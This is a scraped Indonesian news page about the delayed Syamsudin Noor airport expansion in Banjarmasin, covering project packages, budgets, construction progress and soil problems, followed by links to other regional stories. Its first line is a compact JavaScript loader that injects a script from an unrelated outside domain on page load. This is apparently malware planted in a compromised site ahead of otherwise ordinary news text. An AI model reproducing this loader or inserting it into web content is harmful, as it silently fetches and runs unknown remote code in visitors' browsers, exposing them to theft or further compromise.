(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, PT Angkasa Pura I optimistis proyek pengembangan bandara Syamsudin Noor Banjarmasin akan selesai sesuai target pada 2019. Saat ini proyek pengembangan bandara yang dibagi dalam dua paket tersebut terus digeber dengan persentase pengerjaan mencapai sekitar 35 persen.
Pimpinan Proyek Pengembangan Bandara Syamsudin Noor Tochid Purnomo Hadi mengatakan saat ini seluruh paket pekerjaan proyek sudah berjalan. “Saat ini semua pekerjaan proyek sudah dapat dilaksanakan dan sesuai jadwal,” jelasnya.
Pekerjaan proyek untuk paket I berupa pembangunan terminal dan gedung KSO yang dimulai sejak Mei 2018 dengan kantor pelaksana yaitu PT PP-Wika. Pekerjaan berupa persiapan, land clearing dan pemagaran. Untuk paket II meliputi infrastruktur, bangunan penunjang dan apron.
“Pekerjaan gedung penunjang masuk ke pekerjaan arsitektur, infrastruktur pembentukan jalan dan pelapisan base course, apron masih pada pekerjaan pengurukan tanah,” paparnya.
Proyek pengembangan Bandara Syamsudin Noor ini sempat terkendala sejak 2010 silam. Proyek yang menyedot anggaran sebesar Rp 2,3 triliun tersebut ditargetkan rampung dan beroperasi pada 2019 mendatang. Untuk proyek paket I sebesar Rp 900 miliar dan paket II sebesar Rp 1,4 triliun.
Saat ini, menurut Tochid kendala yang dialami hanyalah cuaca seperti hujan yang beberapa waktu lalu sering mengguyur Banjarbaru. Hal ini membuat proses sedikit terhambat, juga terjadinya penurunan kondisi tanah untuk bangunan apron. “ Saat ini kami masih lakukan penelitian terus, kerjasama dengan tim dari Universitas Lambung Mangkurat (ULM). Kami nggak mau nantinya terjadi penurunan tanah setelah selesai pembangunan,†tandasnya.
Saat ini, untuk infrastruktur dan bangunan pendukung seperti fire station, apron, kantor administrasi, masjid dan beberapa bangunan lain sudah sekitar 35%, sedangkan untuk terminal baru 1%. Dia mengatakan, hampir semua pekerjaan struktur sebenarnya sudah selesai, tinggal electrical dan finishing karena soal itu memang pekerjaan yang tidak bisa diburu-buru, tapi tetap berusaha sesuai target.
“Kami berharap dukungan dari seluruh masyarakat dan berbagai pihak dapat membantu kelancaran proyek ini yang nantinya akan menjadi kebanggaan warga banua,†harapnya.
Sebelumnya proyek pengembangan bandara Syamsudin Noor ini menjadi perhatian Menteri Perhubungan, Budi Karya Sumadi yang meminta PT Angkasa Pura I segera merampungkan proyek tersebut.
Pemprov Kalsel melalui gubernur Kalsel sebelumnya Rudy Arifin dan Sahbirin Noor, Gubernur saat ini terus mendesak dukungan pemerintah pusat untuk penyelesaian proyek pengembangan bandara yang berlarut-larut. Bandara Syamsudin Noor ditarget dapat beroperasi pada akhir 2019.
Bandara Syamsudin Noor yang baru nantinya akan memiliki desain modern namun tetap mengacu desain bernuansa budaya banjar. Bandara Syamsudin Noor akan mempunyai kapasitas bertambah dari 1,3 juta orang menjadi 12 juta penumpang pertahun.(rico/net)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.